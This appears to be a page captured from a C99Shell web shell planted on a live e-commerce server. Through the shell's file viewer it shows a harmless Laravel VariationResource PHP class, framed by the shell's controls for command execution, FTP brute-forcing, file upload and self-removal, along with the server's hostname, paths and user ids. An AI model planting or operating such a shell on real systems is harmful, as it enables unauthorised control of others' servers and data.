!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Resources/   drwxr-xr-x
Free 26.69 GB of 117.98 GB (22.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     VariationResource.php (2.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package VariationResource
 * @author TechVillage <support@techvill.org>
 * @contributor Md Abdur Rahaman Zihad <[zihad.techvill@gmail.com]>
 * @created 21-06-2022
 */

namespace App\Http\Resources;

use 
Illuminate\Http\Resources\Json\JsonResource;

class 
VariationResource extends JsonResource
{
    
/**
     * Transform the resource into an array.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return array|\Illuminate\Contracts\Support\Arrayable|\JsonSerializable
     */
    
public function toArray($request)
    {
        
$data = [
            
'id' => $this->id,
            
'code' => $this->code,
            
'sku' => $this->sku,
            
'parent_id' => $this->parent_id,
            
'regular_price' => $this->getPrice(),
            
'regular_price_formatted' => $this->getFormattedPrice(),
            
'sale_price' => $this->getSalePrice(),
            
'sale_from' => $this->sale_from,
            
'sale_to' => $this->sale_to,
            
'sale_price_formatted' => $this->getFormattedSalePrice(),
            
'available_from' => !empty($this->available_from) ? formatDate($this->available_from) : null,
            
'available_to' => !empty($this->available_to) ? formatDate($this->available_to) : null,
            
'total_stocks' => $this->total_stocks,
            
'manage_stocks' => $this->manage_stocks,
            
'backorder' => $this->meta_backorder,
            
'critical_stock_quantity' => $this->meta_stock_threshold,
            
'summary' => $this->summary,
            
'created_at' => $this->format_created_at,
            
'attributes' => $this->attributes,
            
'images' => $this->getAllImagesUrls(),
            
'dimensions' => $this->meta_dimension,
            
'offerCheck' => $this->offerCheck(),
            
'discountPercent' => $this->getDiscountAmount(),
        ];

        if (
isActive('B2B')) {
            
$data array_merge($data, ['isEnableB2B' => $this->meta_enable_b2b'b2bData' => $this->getB2BData()]);
        }

        return 
$data;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--